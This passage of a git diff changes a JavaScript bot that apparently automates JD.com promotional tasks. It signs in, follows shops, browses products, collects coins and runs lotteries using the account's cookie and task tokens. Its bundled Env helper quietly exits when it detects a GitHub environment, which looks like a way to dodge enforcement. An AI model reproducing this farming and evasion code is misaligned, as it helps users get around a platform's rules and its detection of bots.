(vo.status !== 2) { + if (vo.taskType === 12) { + console.log(`点击热区`) + await harmony_collectScore({"appId":appId,"taskToken":vo.simpleRecordInfoVo.taskToken,"taskId":vo.taskId,"actionType":"0"}, vo.taskType) } + }else { + console.log(`【${vo.taskName}】已完成\n`) } + } for (let key of Object.keys(data.data.result.taskVos).reverse()) { let vo = data.data.result.taskVos[key] - if (vo.status !== 2) { + if (vo.status !== 2 && vo.status !== 0) { if (vo.taskType === 13 || vo.taskType === 12) { console.log(`签到`) - await harmony_collectScore({ "appId": appId, "taskToken": vo.simpleRecordInfoVo.taskToken, "taskId": vo.taskId, "actionType": "0" }, vo.taskType) + await harmony_collectScore({"appId":appId,"taskToken":vo.simpleRecordInfoVo.taskToken,"taskId":vo.taskId,"actionType":"0"}, vo.taskType) } else if (vo.taskType === 1) { for (let key of Object.keys(vo.followShopVo)) { let followShopVo = vo.followShopVo[key] if (followShopVo.status !== 2) { console.log(`【${followShopVo.shopName}】${vo.subTitleName}`) - await harmony_collectScore({ "appId": appId, "taskToken": followShopVo.taskToken, "taskId": vo.taskId, "actionType": "0" }) + await harmony_collectScore({"appId":appId,"taskToken":followShopVo.taskToken,"taskId":vo.taskId,"actionType":"0"}) } } - } else if (vo.taskType === 5) { - for (let key of Object.keys(vo.browseShopVo)) { - let browseShopVo = vo.browseShopVo[key] - if (browseShopVo.status !== 2) { - console.log(`【${browseShopVo.skuName}】${vo.subTitleName}`) - await harmony_collectScore({ "appId": appId, "taskToken": browseShopVo.taskToken, "taskId": vo.taskId, "actionType": "0" }) - } - } - } else if (vo.taskType === 15) { - for (let key of Object.keys(vo.productInfoVos)) { - let productInfoVos = vo.productInfoVos[key] - if (productInfoVos.status !== 2) { - console.log(`【${productInfoVos.skuName}】${vo.subTitleName}`) - await harmony_collectScore({ "appId": appId, "taskToken": productInfoVos.taskToken, "taskId": vo.taskId, "actionType": "0" }) - } - } - } else if (vo.taskType === 3 && vo.shoppingActivityVos) { - for (let key of Object.keys(vo.shoppingActivityVos)) { + } else if (vo.taskType === 3) { + for (let key of Object.keys(vo.shoppingActivityVos)) { let shoppingActivityVos = vo.shoppingActivityVos[key] if (shoppingActivityVos.status !== 2) { + // console.log(`【${shoppingActivityVos.skuName}】${vo.subTitleName}`) console.log(`【${vo.subTitleName}】`) await harmony_collectScore({ "appId": appId, "taskToken": shoppingActivityVos.taskToken, "taskId": vo.taskId, "actionType": "0" }) } @@ -205,24 +161,21 @@ async function healthyDay_getHomeData(type = true) { let productInfoVos = vo.productInfoVos[key] if (productInfoVos.status !== 2) { console.log(`【${productInfoVos.skuName}】${vo.subTitleName}`) - await harmony_collectScore({ "appId": appId, "taskToken": productInfoVos.taskToken, "taskId": vo.taskId, "actionType": "1" }) + await harmony_collectScore({"appId":appId,"taskToken":productInfoVos.taskToken,"taskId":vo.taskId,"actionType":"1"}) await $.wait(vo.waitDuration * 1000) - await harmony_collectScore({ "appId": appId, "taskToken": productInfoVos.taskToken, "taskId": vo.taskId, "actionType": "0" }) + await harmony_collectScore({"appId":appId,"taskToken":productInfoVos.taskToken,"taskId":vo.taskId,"actionType":"0"}) } } - } else if (vo.taskType === 27 && vo.taskId === 18) { - console.log(`【${vo.subTitleName}】`) - await harmony_collectScore({ "appId": appId, "taskToken": vo.productInfoVos[0].taskToken, "taskId": vo.taskId, "actionType": "0" }) } else if (vo.taskType === 9 || vo.taskType === 26) { for (let key of Object.keys(vo.shoppingActivityVos)) { let shoppingActivityVos = vo.shoppingActivityVos[key] if (shoppingActivityVos.status !== 2) { console.log(`【${shoppingActivityVos.title}】${vo.subTitleName}`) if (vo.taskType === 9) { - await harmony_collectScore({ "appId": appId, "taskToken": shoppingActivityVos.taskToken, "taskId": vo.taskId, "actionType": "1" }) + await harmony_collectScore({"appId":appId,"taskToken":shoppingActivityVos.taskToken,"taskId":vo.taskId,"actionType":"1"}) await $.wait(vo.waitDuration * 1000) } - await harmony_collectScore({ "appId": appId, "taskToken": shoppingActivityVos.taskToken, "taskId": vo.taskId, "actionType": "0" }) + await harmony_collectScore({"appId":appId,"taskToken":shoppingActivityVos.taskToken,"taskId":vo.taskId,"actionType":"0"}) } } } else if (vo.taskType === 14) { @@ -263,7 +216,7 @@ function harmony_collectScore(body = {}, taskType = '') { if (data && data.data && data.data.bizCode === 0) { if (taskType === 13) { console.log(`签到成功:获得${data.data.result.score}金币\n`) - } else if (body.taskId == 5) { + } else if (body.taskId == 6) { console.log(`助力成功:您的好友获得${data.data.result.score}金币\n`) } else { console.log(`完成任务:获得${data.data.result.score}金币\n`) @@ -271,7 +224,7 @@ function harmony_collectScore(body = {}, taskType = '') { } else { if (taskType === 13) { console.log(`签到失败:${data.data.bizMsg}\n`) - } else if (body.taskId == 5) { + } else if (body.taskId == 6) { console.log(`助力失败:${data.data.bizMsg || data.msg}\n`) if (data.code === -30001 || (data.data && data.data.bizCode === 108)) $.canHelp = false if (data.data.bizCode === 103) $.delcode = true @@ -289,7 +242,6 @@ function harmony_collectScore(body = {}, taskType = '') { }) }) } - function interact_template_getLotteryResult() { return new Promise(resolve => { $.post(taskUrl('interact_template_getLotteryResult', {"appId":appId}), (err, resp, data) => { @@ -300,17 +252,14 @@ function interact_template_getLotteryResult() { } else { if (safeGet(data)) { data = JSON.parse(data); - let userAwardsCacheDto = data && data.data && data.data.result && data.data.result.userAwardsCacheDto; + let userAwardsCacheDto = data && data.data && data.data.result && data.data.result.userAwardsCacheDto if (userAwardsCacheDto) { if (userAwardsCacheDto.type === 2) { - console.log(`抽中:${userAwardsCacheDto.jBeanAwardVo.quantity}${userAwardsCacheDto.jBeanAwardVo.ext || `京豆`}`); + console.log(`抽中:${userAwardsCacheDto.jBeanAwardVo.quantity}${userAwardsCacheDto.jBeanAwardVo.ext || `京豆`}`) } else if (userAwardsCacheDto.type === 0) { console.log(`很遗憾未中奖~`) - } else if (userAwardsCacheDto.type === 1) { - console.log(`抽中:${userAwardsCacheDto.couponVo.prizeName},金额${userAwardsCacheDto.couponVo.usageThreshold}-${userAwardsCacheDto.couponVo.quota},使用时间${userAwardsCacheDto.couponVo.useTimeRange}`); } else { - console.log(`抽中:${JSON.stringify(data)}`); - message += `抽中:${JSON.stringify(data)}\n`; + console.log(JSON.stringify(data)) } } else { $.canLottery = false @@ -378,50 +327,6 @@ function getAuthorShareCode(url) { }) } -function TotalBean() { - return new Promise(async resolve => { - const options = { - "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, - "headers": { - "Accept": "application/json,text/plain, */*", - "Content-Type": "application/x-www-form-urlencoded", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Cookie": cookie, - "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === 13) { - $.isLogin = false; //cookie过期 - return - } - if (data['retcode'] === 0) { - $.nickName = (data['base'] && data['base'].nickname) || $.UserName; - } else { - $.nickName = $.UserName - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} function safeGet(data) { try { if (typeof JSON.parse(data) == "object") { @@ -444,5 +349,6 @@ function jsonParse(str) { } } } + // prettier-ignore function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file